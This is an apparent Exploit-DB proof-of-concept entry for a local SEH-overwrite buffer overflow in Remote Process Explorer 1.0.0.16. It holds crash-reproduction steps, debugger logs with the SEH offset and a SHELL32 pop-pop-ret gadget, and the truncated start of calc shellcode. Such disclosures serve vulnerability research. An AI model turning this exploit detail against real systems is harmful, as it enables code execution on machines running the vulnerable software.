# Remote Process Explorer 1.0.0.16 - Buffer Overflow (PoC) (SEH Overwrite)

**EDB-ID:**
46304

**CVE:**
N/A

**EDB Verified:** ×

**Author:**
RAFAEL PEDRERO

**Type:**
DOS

**Exploit:** / {}

```
# Exploit Title: Remote Process Explorer v1.0.0.16 - Denial of Service
(PoC) and SEH overwritten Crash PoC
# Discovery by: Rafael Pedrero
# Discovery Date: 2019-01-30
# Vendor Homepage: http://lizardsystems.com/action.php?
action=home&product=rpexplorer&version=1.0.0.16
# Software Link : http://lizardsystems.com/action.php?
action=home&product=rpexplorer&version=1.0.0.16
# Tested Version: 1.0.0.16
# Tested on: Windows XP SP3
# Vulnerability Type: Denial of Service (DoS) Local Buffer Overflow

# Steps to Produce the Crash:
# 1.- Run rpexplorer.exe
# 2.- copy content rpexplorer_Crash.txt to clipboard (result from this
python script)
# 3.- Go to "Add computer" and paste the result in the first textbox and
click in Add button.
# 4.- Select "AAAAAAAAA...." computer, right mouse button and Connect and
you will see a crash.

'''
```



```
P 1  CS 001B 32bit 0(FFFFFFFF)
A 0  SS 0023 32bit 0(FFFFFFFF)
Z 0  DS 0023 32bit 0(FFFFFFFF)
S 0  FS 003B 32bit 7FFDC000(FFF)
T 0  GS 0000 NULL
D 0
O 0  LastErr ERROR_SUCCESS (00000000)
EFL 00010206 (NO,NB,NE,A,NS,PE,GE,G)
ST0 empty
ST1 empty
ST2 empty
ST3 empty
ST4 empty
ST5 empty
ST6 empty
ST7 empty
               3 2 1 0      E S P U O Z D I
FST 0000  Cond 0 0 0 0  Err 0 0 0 0 0 0 0 0  (GT)
FCW 1272  Prec NEAR,53  Mask    1 1 0 0 1 0

Log data, item 24
 Address=0BADF00D
 Message=    SEH record (nseh field) at 0x0114fec8 overwritten with normal
pattern : 0x41387741 (offset 684), followed by 308 bytes of cyclic data
after the handler
```

```
Check after script:

SEH chain of thread 00000D04
Address    SE handler
0114FEC8   43434343
42424242   *** CORRUPT ENTRY ***


Log data, item 53
 Address=7E6E5E50
 Message=  0x7e6e5e50 : pop ebx # pop ebp # ret 0x04 | asciiprint,ascii
{PAGE_EXECUTE_READ} [SHELL32.dll] ASLR: False, Rebase: False, SafeSEH:
True, OS: True, v6.00.2900.5512 (C:\WINDOWS\system32\SHELL32.dll)


'''

#!/usr/bin/env python

'''
calc = ("\x31\xC9"               # xor ecx,ecx
       "\x51"                    # push ecx
       "\x68\x63\x61\x6C\x63"    # push 0x636c6163
       "\x54"                    # push dword ptr esp
```